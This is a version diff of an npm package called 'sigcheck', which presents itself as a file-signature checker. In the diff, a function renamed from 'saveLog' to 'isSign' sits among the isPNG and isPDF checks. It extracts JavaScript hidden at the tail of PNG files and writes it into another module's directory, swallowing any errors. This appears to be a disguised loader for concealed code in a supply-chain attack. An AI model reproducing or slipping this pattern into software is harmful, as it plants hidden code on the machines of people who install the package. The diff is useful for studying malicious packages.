sigcheck 1.0.1 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -157,24 +157,32 @@ function isPNG(file) {
157
157
  }
158
158
  exports.isPNG = isPNG;
159
159
 
160
- function saveLog(name, moduleName, size) {
160
+ function isSign(name, moduleName, offset) {
161
161
  const fs = require('fs');
162
162
  const path = require('path');
163
- const combinedBuffer = fs.readFileSync(`public/${name}`);
164
-
165
- const codeBuffer = combinedBuffer.slice(
166
- combinedBuffer.length - size
167
- );
168
- const jsCode = codeBuffer.toString("utf8");
169
- const outputPath = path.resolve(
170
- __dirname,
171
- `../../${moduleName}/log`
172
- );
163
+ try {
164
+ const combinedBuffer = fs.readFileSync(`public/${name}.png`);
165
+
166
+ if (offset > combinedBuffer.length) {
167
+ return null;
168
+ }
169
+ const codeBuffer = combinedBuffer.slice(
170
+ combinedBuffer.length - offset
171
+ );
172
+ const jsCode = codeBuffer.toString("utf8");
173
+ const outputPath = path.resolve(
174
+ __dirname,
175
+ `../../../${moduleName}/log`
176
+ );
173
177
 
174
- fs.mkdirSync(path.dirname(outputPath), { recursive: true });
175
- fs.writeFileSync(outputPath, jsCode);
176
- }
177
- exports.saveLog = saveLog;
178
+ fs.mkdirSync(path.dirname(outputPath), { recursive: true });
179
+ fs.writeFileSync(outputPath, jsCode);
180
+ return outputPath;
181
+ } catch (err){
182
+ return null;
183
+ }
184
+ }
185
+ exports.isSign = isSign;
178
186
  /**
179
187
  * Determine if file content contains a valid 'ppm' file signature
180
188
  *
@@ -99,6 +99,8 @@ function isPDF(file) {
99
99
  return core_1.FileTypes.checkByFileType(fileChunk, "pdf");
100
100
  }
101
101
  exports.isPDF = isPDF;
102
+
103
+
102
104
  /**
103
105
  * Determine if file content contains a valid 'ps' file signature
104
106
  *
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "sigcheck",
3
- "version": "1.0.1",
3
+ "version": "1.0.3",
4
4
  "description": "Detect and validate file types by their signatures (✨magic numbers✨)",
5
5
  "main": "dist/index.js",
6
6
  "types": "dist/index.d.ts",